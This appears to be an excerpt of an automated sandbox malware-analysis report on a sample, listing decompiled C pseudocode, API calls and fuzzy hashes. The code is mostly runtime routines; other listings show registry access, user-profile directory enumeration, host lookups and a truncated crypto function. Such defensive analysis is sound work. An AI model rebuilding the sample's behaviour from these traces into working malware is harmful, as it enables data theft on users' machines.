Opcode Fuzzy Hash: 548b4bdf82f8cd39c4d5ac5d1f2e8333166c86f5a93e1cc51f8ad37fb786c2bc
Instruction Fuzzy Hash: A0115EB6911105ABDF10CF44C8D9ADEB7B5BF94354F288161DC49AB305D730EE91CBA0

Function 00412420, Relevance: 3.0, APIs: 2, Instructions: 47registry

APIs

RegCreateKeyExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412461
RegOpenKeyExW.ADVAPI32 ref: 0041247E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 2e17c195cec7657e3250065566ed738e3a2e7a2e9e4c78ee6f38031afdca090a
Instruction ID: dcee2b7325f8230a308329fde79a0f6148de2f34146e8a9b203e7495506130d1
Opcode Fuzzy Hash: 2e17c195cec7657e3250065566ed738e3a2e7a2e9e4c78ee6f38031afdca090a
Instruction Fuzzy Hash: E7012975650208EBDB04CF94CD96FEB7BB9FB48300F108519FA05DB280D674AA60CB98

Function 00424B10, Relevance: 3.0, APIs: 2, Instructions: 31

C-Code - Quality: 100%

			E00424B10() {
				intOrPtr _v8;
				char _v12;
				signed int* _v16;
				intOrPtr _v20;
				struct _OSVERSIONINFOA _v172;
				CHAR* _t15;

				_v8 = 0x16;
				if(_v8 >= 0xe4) {
					_v12 = 0xea90;
					_v16 =  &_v12;
					_v12 = _v8 - ( *_v16 | 0xf576adba) + _v12;
					_v20 = 0;
					while(_v20 < 4) {
						GetVersionExA( &_v172);
						_v20 = _v20 + 1;
					}
				}
				_t15 = GetEnvironmentStrings(); // executed
				return _t15;
			}

0x00424b19
0x00424b27
0x00424b29
0x00424b33
0x00424b49
0x00424b4c
0x00424b5e
0x00424b6b
0x00424b5b
0x00424b5b
0x00424b5e
0x00424b73
0x00424b7c

APIs

GetVersionExA.KERNEL32(?), ref: 00424B6B
GetEnvironmentStrings.KERNELBASE ref: 00424B73

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnvironmentStringsVersion
String ID:
API String ID: 765004914-0
Opcode ID: 2c9e2aa66b68fac4218831dcbe7afc9def3ae6816ab4bf8e197b6f690be9470d
Instruction ID: d9f217b7ad649aebe85e2998101d540d3d6aa5b1bc3fe28e63795fe6ca665930
Opcode Fuzzy Hash: 2c9e2aa66b68fac4218831dcbe7afc9def3ae6816ab4bf8e197b6f690be9470d
Instruction Fuzzy Hash: 67011975E0022CEFDB04CF94D8447ADBBB4FB85304F50859AC41567244D7B9AA45DB85

Function 00413530, Relevance: 2.5, APIs: 2, Instructions: 16sleep

APIs

Sleep.KERNELBASE(00001388), ref: 00413538

Part of subcall function 00412BB0: StrDupW.SHLWAPI(?), ref: 00412BE9
Part of subcall function 00412BB0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412D23
Part of subcall function 00412BB0: HeapFree.KERNEL32(00000000), ref: 00412D2A
Part of subcall function 00412BB0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412D36
Part of subcall function 00412BB0: HeapFree.KERNEL32(00000000), ref: 00412D3D

Sleep.KERNELBASE(0000EA60,0066FAB0), ref: 00413558

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$FreeProcessSleep
String ID:
API String ID: 1803097132-0
Opcode ID: 8f6f6eab9125edfd15b1ef4d2f3029df58099177a5f7a622e94dbd03a577b248
Instruction ID: d4ffd4c7933cac85d07030f8945703315e7e133167581086dd3761aa3ae0e610
Opcode Fuzzy Hash: 8f6f6eab9125edfd15b1ef4d2f3029df58099177a5f7a622e94dbd03a577b248
Instruction Fuzzy Hash: 19D0A7313C434477F3109BE5EC499D633589705B01F404431BD02C13C1D965EA80856D

Function 0042EFD4, Relevance: 1.6, APIs: 1, Instructions: 93
memory

C-Code - Quality: 23%

			E0042EFD4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				long _t21;
				long _t23;
				long _t24;
				void* _t25;
				long _t31;
				signed int _t32;
				signed int _t33;
				signed int _t39;
				signed int _t44;
				long _t49;
				void* _t52;
				void* _t53;

				_push(0xc);
				_push(0x43afa8);
				E004294C4(__ebx, __edi, __esi);
				_t39 =  *(_t52 + 8);
				if(_t39 <= 0) {
					L4:
					_t49 = _t39 *  *(_t52 + 0xc);
					 *(_t52 + 8) = _t49;
					__eflags = _t49;
					if(_t49 == 0) {
						_t49 = 1;
						__eflags = 1;
					}
					do {
						_t38 = 0;
						 *(_t52 - 0x1c) = 0;
						__eflags = _t49 - 0xffffffe0;
						if(_t49 > 0xffffffe0) {
							L13:
							__eflags = _t38;
							if(_t38 != 0) {
								L21:
								_t21 = _t38;
								L22:
								return E00429509(_t21);
							}
							__eflags =  *0x43f9ec; // 0x0
							if(__eflags == 0) {
								__eflags = _t38;
								if(_t38 == 0) {
									_t23 =  *(_t52 + 0x10);
									__eflags = _t23;
									if(_t23 != 0) {
										 *_t23 = 0xc;
									}
								}
								goto L21;
							}
							goto L15;
						}
						__eflags =  *0x43fae4 - 3;
						if( *0x43fae4 != 3) {
							L11:
							__eflags = _t38;
							if(_t38 != 0) {
								goto L21;
							}
							L12:
							_t25 = RtlAllocateHeap( *0x43f4cc, 8, _t49); // executed
							_t38 = _t25;
							goto L13;
						}
						_t49 = _t49 + 0x0000000f & 0xfffffff0;
						 *(_t52 + 0xc) = _t49;
						__eflags =  *(_t52 + 8) -  *0x43fac8; // 0x0
						if(__eflags > 0) {
							goto L11;
						}
						E00429908(0, _t44, 0, 4);
						 *((intOrPtr*)(_t52 - 4)) = 0;
						_push( *(_t52 + 8));
						 *(_t52 - 0x1c) = E0042D8D8();
						 *((intOrPtr*)(_t52 - 4)) = 0xfffffffe;
						E0042F0D0();
						_t38 =  *(_t52 - 0x1c);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L12;
						}
						E0042DD30(0, _t38, 0,  *(_t52 + 8));
						_t53 = _t53 + 0xc;
						goto L11;
						L15:
						_t24 = E0042A718(_t49);
						__eflags = _t24;
					} while (_t24 != 0);
					_t31 =  *(_t52 + 0x10);
					__eflags = _t31;
					if(_t31 != 0) {
						 *_t31 = 0xc;
					}
					L3:
					_t21 = 0;
					goto L22;
				}
				_t32 = 0xffffffe0;
				_t33 = _t32 / _t39;
				_t44 = _t32 % _t39;
				asm("sbb eax, eax");
				_t58 = _t33 + 1;
				if(_t33 + 1 != 0) {
					goto L4;
				} else {
					 *((intOrPtr*)(E00429AEF(_t58))) = 0xc;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429A77(__ebx, _t44, 0);
					goto L3;
				}
			}

0x0042efd4
0x0042efd6
0x0042efdb
0x0042efe0
0x0042efe7
0x0042f017
0x0042f01b
0x0042f01d
0x0042f020
0x0042f022
0x0042f026
0x0042f026
0x0042f026
0x0042f027
0x0042f027
0x0042f029
0x0042f02c
0x0042f02f
0x0042f09a
0x0042f09a
0x0042f09c
0x0042f0ea
0x0042f0ea
0x0042f0ec
0x0042f0f1
0x0042f0f1
0x0042f09e
0x0042f0a4
0x0042f0d9
0x0042f0db
0x0042f0dd
0x0042f0e0
0x0042f0e2
0x0042f0e4
0x0042f0e4
0x0042f0e2
0x00000000
0x0042f0db
0x00000000
0x0042f0a4
0x0042f031
0x0042f038
0x0042f085
0x0042f085
0x0042f087
0x00000000
0x00000000
0x0042f089
0x0042f092
0x0042f098
0x00000000
0x0042f098
0x0042f03d
0x0042f040
0x0042f046
0x0042f04c
0x00000000
0x00000000
0x0042f050
0x0042f056
0x0042f059
0x0042f062
0x0042f065
0x0042f06c
0x0042f071
0x0042f074
0x0042f076
0x00000000
0x00000000
0x0042f07d
0x0042f082
0x00000000
0x0042f0a6
0x0042f0a7
0x0042f0ad
0x0042f0ad
0x0042f0b5
0x0042f0b8
0x0042f0ba
0x0042f0c0
0x0042f0c0
0x0042f010
0x0042f010
0x00000000
0x0042f010
0x0042efeb
0x0042efee
0x0042efee
0x0042eff3
0x0042eff5
0x0042eff6
0x00000000
0x0042eff8
0x0042effd
0x0042f003
0x0042f004
0x0042f005
0x0042f006
0x0042f007
0x0042f008
0x00000000
0x0042f00d

APIs

RtlAllocateHeap.NTDLL(00000008,?,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214,?,?,0042849C), ref: 0042F092

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection
String ID:
API String ID: 8947104-0
Opcode ID: 3d3f811e67c0796418ebd93800c417145eea50ceff530b308b1394c2c1941722
Instruction ID: 355cd08d92623bfd25a356acfce3fc224d7098d496baf481b59c2c10690cdd91
Opcode Fuzzy Hash: 3d3f811e67c0796418ebd93800c417145eea50ceff530b308b1394c2c1941722
Instruction Fuzzy Hash: 0521C571B002249ACB21AF65FC8095F7771EB54760FE4823BF8559B3C2D6794C45CB48

Function 0042EFD4, Relevance: 1.6, APIs: 1, Instructions: 93memory

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 0042F092

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc8d05156b624d3beefa4cfce07b30a82aeea5da8a686db1b955181ee954e89b
Instruction ID: 355cd08d92623bfd25a356acfce3fc224d7098d496baf481b59c2c10690cdd91
Opcode Fuzzy Hash: cc8d05156b624d3beefa4cfce07b30a82aeea5da8a686db1b955181ee954e89b
Instruction Fuzzy Hash: 0521C571B002249ACB21AF65FC8095F7771EB54760FE4823BF8559B3C2D6794C45CB48

Function 004288F5, Relevance: 1.6, APIs: 1, Instructions: 70

C-Code - Quality: 96%

			E004288F5(void* __ecx) {
				CHAR* _v8;
				signed int _v12;
				char _v16;
				void* __edi;
				intOrPtr* _t14;
				signed int _t17;
				char _t27;
				void* _t28;
				signed int _t37;
				intOrPtr _t41;

				_t26 = __ecx;
				_t41 =  *0x43fc0c; // 0x0
				if(_t41 == 0) {
					E0042B4E0(__ecx);
				}
				 *0x43f4b4 = 0; // executed
				GetModuleFileNameA(0, 0x43f3b0, 0x104);
				_t14 =  *0x43fc18; // 0x0
				 *0x43f084 = 0x43f3b0;
				if(_t14 == 0) {
					L4:
					_v8 = 0x43f3b0;
					goto L5;
				} else {
					_v8 = _t14;
					if( *_t14 != 0) {
						L5:
						E0042875D(_t26, _v8,  &_v16, 0, 0,  &_v12);
						_t17 = _v12;
						if(_t17 >= 0x3fffffff) {
							L10:
							return _t17 | 0xffffffff;
						}
						_t27 = _v16;
						if(_t27 >= 0xffffffff) {
							goto L10;
						}
						_t33 = _t17 << 2;
						_t17 = (_t17 << 2) + _t27;
						if(_t17 < _t27) {
							goto L10;
						}
						_t17 = E0042B5BD(_t17);
						_t37 = _t17;
						_pop(_t28);
						if(_t37 == 0) {
							goto L10;
						}
						E0042875D(_t28, _v8,  &_v16, _t37, _t33 + _t37,  &_v12);
						 *0x43f068 = _v12 - 1;
						 *0x43f06c = _t37;
						return 0;
					}
					goto L4;
				}
			}

0x004288f5
0x004288fe
0x00428906
0x00428908
0x00428908
0x00428919
0x0042891f
0x00428925
0x0042892c
0x00428932
0x0042893b
0x0042893b
0x00000000
0x00428934
0x00428936
0x00428939
0x0042893e
0x0042894a
0x0042894f
0x0042895a
0x004289a6
0x00000000
0x004289a6
0x0042895c
0x00428962
0x00000000
0x00000000
0x00428966
0x00428969
0x0042896e
0x00000000
0x00000000
0x00428971
0x00428976
0x0042897a
0x0042897b
0x00000000
0x00000000
0x0042898b
0x00428997
0x0042899c
0x00000000
0x004289a2
0x00000000
0x00428939

APIs

GetModuleFileNameA.KERNELBASE(00000000,0043F3B0,00000104), ref: 0042891F

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: FileModuleNameSleep
String ID:
API String ID: 4084727719-0
Opcode ID: 1eb47ac2d60684354ac1be356a9c421359712fee9203547224231e76193500d2
Instruction ID: f386bef5c0227a9c593d09bc94c2486de2d82f4d558175ba5213933af4f4f317
Opcode Fuzzy Hash: 1eb47ac2d60684354ac1be356a9c421359712fee9203547224231e76193500d2
Instruction Fuzzy Hash: 3C11BBB1E02128AFCB10DB69BD808DE7B78EA413647A0067EE525E3291D7349D85C799

Function 00412290, Relevance: 1.5, APIs: 1, Instructions: 46registry

APIs

Part of subcall function 00412420: RegCreateKeyExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412461
Part of subcall function 00412420: RegOpenKeyExW.ADVAPI32 ref: 0041247E

Part of subcall function 00412360: RegQueryValueExW.KERNEL32(?,80000001,00000000,00000003,00000000,00000000), ref: 004123A1
Part of subcall function 00412360: GetProcessHeap.KERNEL32(00000008,00000000), ref: 004123B6
Part of subcall function 00412360: HeapAlloc.KERNEL32(00000000), ref: 004123BD
Part of subcall function 00412360: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000003,00000000,00000000), ref: 004123E2

RegCloseKey.ADVAPI32(00000000), ref: 00412316

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapQueryValue$AllocCloseCreateOpenProcess
String ID:
API String ID: 3669985870-0
Opcode ID: e588b9a868e9915875944e48e82cf1a622598ad0f62290c4c645af150edde6e2
Instruction ID: c63b59bcba6e10e8f302529b5a4add534bf52330d3a477a8e32102d8554689d2
Opcode Fuzzy Hash: e588b9a868e9915875944e48e82cf1a622598ad0f62290c4c645af150edde6e2
Instruction Fuzzy Hash: 1A11FAB590020CAFDB00DFA5C994BDEBFB4BF48304F14C589E954AB381D7B99A55CBA0

Function 00407390, Relevance: 1.5, APIs: 1, Instructions: 23

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(?,00000001,-00000004,00000000), ref: 004073C7

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: dcdbad21bc624be9dabd1ca07c1080590edaf92bce51bdf4723f37457f24aa8d
Instruction ID: 29e2bd2f6a361a6c455c7013217b96456d1ba4ad8183dc7d77be7875c9a267b0
Opcode Fuzzy Hash: dcdbad21bc624be9dabd1ca07c1080590edaf92bce51bdf4723f37457f24aa8d
Instruction Fuzzy Hash: F4F045B4641208EFEB04CF44D955B99BBB4EB48358F10C298FD099B381C7B6EA40CB94

Function 004138D0, Relevance: 1.5, APIs: 1, Instructions: 21network

APIs

gethostbyname.WS2_32(00000000), ref: 004138E1

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: 718779d607f38d9d9e730e453287bcec0f9e2a62e02e14486abac6e76e1e8c66
Instruction ID: 80fb1abb75497f997d3acf198ce7992520c9f4060a22a6946d4a9e75cfecf05b
Opcode Fuzzy Hash: 718779d607f38d9d9e730e453287bcec0f9e2a62e02e14486abac6e76e1e8c66
Instruction Fuzzy Hash: 33F0C278A01208EFCB00DF94C588A9DBBB4EB49315F208199ED09AB350D776AA85CB80

Function 0041A3F0, Relevance: 1.5, APIs: 1, Instructions: 15

APIs

GetFileAttributesW.KERNELBASE(0041AE21,?,?,0041AE21,00000000), ref: 0041A3F8

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 30cdaaba874d6c51da8c2b184db37c2888c5448a3f5b0569b05ef28edf0fe1b5
Instruction ID: 78cce6727d77d32696a0e52d9eed1aa429bbe38c0348bdf65f99cec01fcb316b
Opcode Fuzzy Hash: 30cdaaba874d6c51da8c2b184db37c2888c5448a3f5b0569b05ef28edf0fe1b5
Instruction Fuzzy Hash: 19D05E70809208E7CB008FA4D90C7ED7BA89B01324F204285F828872C2C3B99E916B9A

Function 00427E0F, Relevance: 1.5, APIs: 1, Instructions: 2

C-Code - Quality: 66%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t30;
				signed int _t40;
				signed int _t41;
				signed int _t43;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				void* _t49;
				intOrPtr _t52;
				signed int _t68;
				void* _t69;
				void* _t70;
				signed int _t71;
				long _t74;
				signed int _t78;
				struct _OSVERSIONINFOA* _t80;
				long _t81;
				void* _t82;

				E004296E6(); // executed
				_push(0x60);
				_push(0x43aca0);
				E004294C4(__ebx, __edi, __esi);
				 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
				GetStartupInfoA(_t82 - 0x70);
				 *(_t82 - 4) = 0xfffffffe;
				_t80 = HeapAlloc(GetProcessHeap(), 0, 0x94);
				if(_t80 != 0) {
					_t80->dwOSVersionInfoSize = 0x94;
					_t30 = GetVersionExA(_t80);
					_push(_t80);
					_push(0);
					__eflags = _t30;
					if(_t30 != 0) {
						 *(_t82 - 0x20) = _t80->dwPlatformId;
						 *(_t82 - 0x24) = _t80->dwMajorVersion;
						 *(_t82 - 0x28) = _t80->dwMinorVersion;
						_t78 = _t80->dwBuildNumber & 0x00007fff;
						HeapFree(GetProcessHeap(), ??, ??);
						_t81 =  *(_t82 - 0x20);
						__eflags = _t81 - 2;
						if(_t81 != 2) {
							_t78 = _t78 | 0x00008000;
							__eflags = _t78;
						}
						_t68 =  *(_t82 - 0x24);
						_t74 =  *(_t82 - 0x28);
						 *0x43f054 = _t81;
						 *0x43f05c = (_t68 << 8) + _t74;
						 *0x43f060 = _t68;
						 *0x43f064 = _t74;
						 *0x43f058 = _t78;
						 *(_t82 - 0x20) = L00427BEE();
						_t40 = L004293EE(1);
						_pop(_t69);
						__eflags = _t40;
						if(_t40 == 0) {
							L00427BCA(0x1c);
							_pop(_t69);
						}
						_t41 = L0042920F(1, _t74);
						__eflags = _t41;
						if(_t41 == 0) {
							L00427BCA(0x10);
							_pop(_t69);
						}
						L00428D6F();
						 *(_t82 - 4) = 1;
						_t43 = L00428AE3(1, _t74, _t78, _t81, __eflags);
						__eflags = _t43;
						if(_t43 < 0) {
							E00427E19(0x1b);
							_pop(_t69);
						}
						 *0x43fc18 = GetCommandLineA();
						 *0x43f044 = L004289AE(_t74);
						_t46 = E004288F5(_t69);
						__eflags = _t46;
						if(_t46 < 0) {
							E00427E19(8);
							_pop(_t69);
						}
						_t47 = L00428678(_t69, _t74);
						__eflags = _t47;
						if(_t47 < 0) {
							E00427E19(9);
						}
						_t48 = L00428057(1, _t78, _t81, _t82, 1);
						_pop(_t70);
						__eflags = _t48;
						if(_t48 != 0) {
							E00427E19(_t48);
							_pop(_t70);
						}
						_t49 = L0042861B(_t70);
						__eflags =  *(_t82 - 0x44) & 1;
						if(( *(_t82 - 0x44) & 1) == 0) {
							_t71 = 0xa;
						} else {
							_t71 =  *(_t82 - 0x40) & 0x0000ffff;
						}
						_push(_t71);
						_push(_t49);
						_push(0);
						_push(0x400000);
						 *((intOrPtr*)(_t82 - 0x1c)) = E004253F0();
						__eflags =  *(_t82 - 0x20);
						if( *(_t82 - 0x20) == 0) {
							L004281B7(_t50);
						}
						L004281D9();
						 *(_t82 - 4) = 0xfffffffe;
						_t52 =  *((intOrPtr*)(_t82 - 0x1c));
					} else {
						HeapFree(GetProcessHeap(), ??, ??);
						goto L26;
					}
				} else {
					L00427BCA(0x12);
					L26:
					_t52 = 0xff;
				}
				return E00429509(_t52);
			}

0x00427e0f
0x00427c2f
0x00427c31
0x00427c36
0x00427c3b
0x00427c43
0x00427c49
0x00427c67
0x00427c6b
0x00427c7a
0x00427c7d
0x00427c83
0x00427c84
0x00427c86
0x00427c88
0x00427c9b
0x00427ca1
0x00427ca7
0x00427cad
0x00427cb6
0x00427cbc
0x00427cbf
0x00427cc2
0x00427cc4
0x00427cc4
0x00427cc4
0x00427cca
0x00427cd2
0x00427cd7
0x00427cdd
0x00427ce2
0x00427ce8
0x00427cee
0x00427cf9
0x00427d00
0x00427d05
0x00427d06
0x00427d08
0x00427d0c
0x00427d11
0x00427d11
0x00427d12
0x00427d17
0x00427d19
0x00427d1d
0x00427d22
0x00427d22
0x00427d23
0x00427d28
0x00427d2b
0x00427d30
0x00427d32
0x00427d36
0x00427d3b
0x00427d3b
0x00427d42
0x00427d4c
0x00427d51
0x00427d56
0x00427d58
0x00427d5c
0x00427d61
0x00427d61
0x00427d62
0x00427d67
0x00427d69
0x00427d6d
0x00427d72
0x00427d74
0x00427d79
0x00427d7a
0x00427d7c
0x00427d7f
0x00427d84
0x00427d84
0x00427d85
0x00427d8a
0x00427d8d
0x00427d97
0x00427d8f
0x00427d8f
0x00427d8f
0x00427d98
0x00427d99
0x00427d9a
0x00427d9c
0x00427da6
0x00427da9
0x00427dad
0x00427db0
0x00427db0
0x00427db5
0x00427dea
0x00427df1
0x00427c8a
0x00427c8d
0x00000000
0x00427c8d
0x00427c6d
0x00427c6f
0x00427e04
0x00427e04
0x00427e04
0x00427e0e

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: e148bbd793f7674060ff5d9247e66f3b72d461a8dcc7b4d26bbeb26a122932ed
Instruction ID: d291917c90d1686ca55a7ef39381d8cc4ba8ca88110d6d0cf0ef361d937a56be
Opcode Fuzzy Hash: e148bbd793f7674060ff5d9247e66f3b72d461a8dcc7b4d26bbeb26a122932ed
Instruction Fuzzy Hash:

Function 0040FA40, Relevance: 1.3, APIs: 1, Instructions: 58sleep

APIs

Sleep.KERNELBASE(000003E8,00000000,?,000000FF,00000000,00000000,00000000,00000050,00000000,?,FFFFFFFF,00000000,00000000,00000000,00000050,004292D0), ref: 0040FAB0

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$FreeProcessSleep
String ID:
API String ID: 1803097132-0
Opcode ID: 4c097a98d52358ab572f9eca7212577b0808b1b98de2c8529371e516b6998db8
Instruction ID: c78b3c1f800ed66fbadb362e1e8fee62f25411fdebacb837eb17dec2bd1d2061
Opcode Fuzzy Hash: 4c097a98d52358ab572f9eca7212577b0808b1b98de2c8529371e516b6998db8
Instruction Fuzzy Hash: C6210871E00209EBCB10DF95C888BEFB7B8AB54714F10817AE125776C0D7785A4ACF95

Function 0041A4C0, Relevance: 1.3, APIs: 1, Instructions: 16sleep

APIs

Part of subcall function 0041A4F0: GetProfilesDirectoryW.USERENV(00000000,00000000), ref: 0041A52E
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 0041A54F
Part of subcall function 0041A4F0: HeapAlloc.KERNEL32(00000000), ref: 0041A556
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 0041A567
Part of subcall function 0041A4F0: HeapAlloc.KERNEL32(00000000), ref: 0041A56E
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0041A588
Part of subcall function 0041A4F0: HeapAlloc.KERNEL32(00000000), ref: 0041A58F
Part of subcall function 0041A4F0: GetProfilesDirectoryW.USERENV(00000000,00000000), ref: 0041A5D3
Part of subcall function 0041A4F0: FindFirstFileW.KERNELBASE(00000000,?,00000014), ref: 0041A77A
Part of subcall function 0041A4F0: lstrcmpW.KERNELBASE(?,00000000,0000000C,00000008), ref: 0041A8A4
Part of subcall function 0041A4F0: lstrcmpW.KERNELBASE(?,00000000), ref: 0041A8C5
Part of subcall function 0041A4F0: wsprintfW.USER32 ref: 0041AE0F
Part of subcall function 0041A4F0: FindNextFileW.KERNELBASE(000000FF,?), ref: 0041AE88
Part of subcall function 0041A4F0: FindClose.KERNEL32(000000FF), ref: 0041AE9A
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AEB7
Part of subcall function 0041A4F0: HeapFree.KERNEL32(00000000), ref: 0041AEBE
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AED0
Part of subcall function 0041A4F0: HeapFree.KERNEL32(00000000), ref: 0041AED7
Part of subcall function 0041A4F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AEE9
Part of subcall function 0041A4F0: HeapFree.KERNEL32(00000000), ref: 0041AEF0

Sleep.KERNELBASE(00001388), ref: 0041A4E1

Part of subcall function 0041A460: Sleep.KERNEL32(00002710), ref: 0041A4A5

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFindFree$DirectoryFileProfilesSleeplstrcmp$CloseFirstNextwsprintf
String ID:
API String ID: 2135031951-0
Opcode ID: a34fa62b9a39f4b0cd71b1e32cfe166b82943bd31694ad65909ddc42824e289e
Instruction ID: 03eb493cdcbe404f213ee162f596445123235015980d0d5d62d386e310e6dc82
Opcode Fuzzy Hash: a34fa62b9a39f4b0cd71b1e32cfe166b82943bd31694ad65909ddc42824e289e
Instruction Fuzzy Hash: F0D0C93429630456A31022FA1A0D6E6B2984B90758F0440237905C0682E9DCE8F194AF

Non-executed Functions

Function 004099B0, Relevance: 704.8, Strings: 562, Instructions: 2270
Crypto

C-Code - Quality: 34%

			E004099B0(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
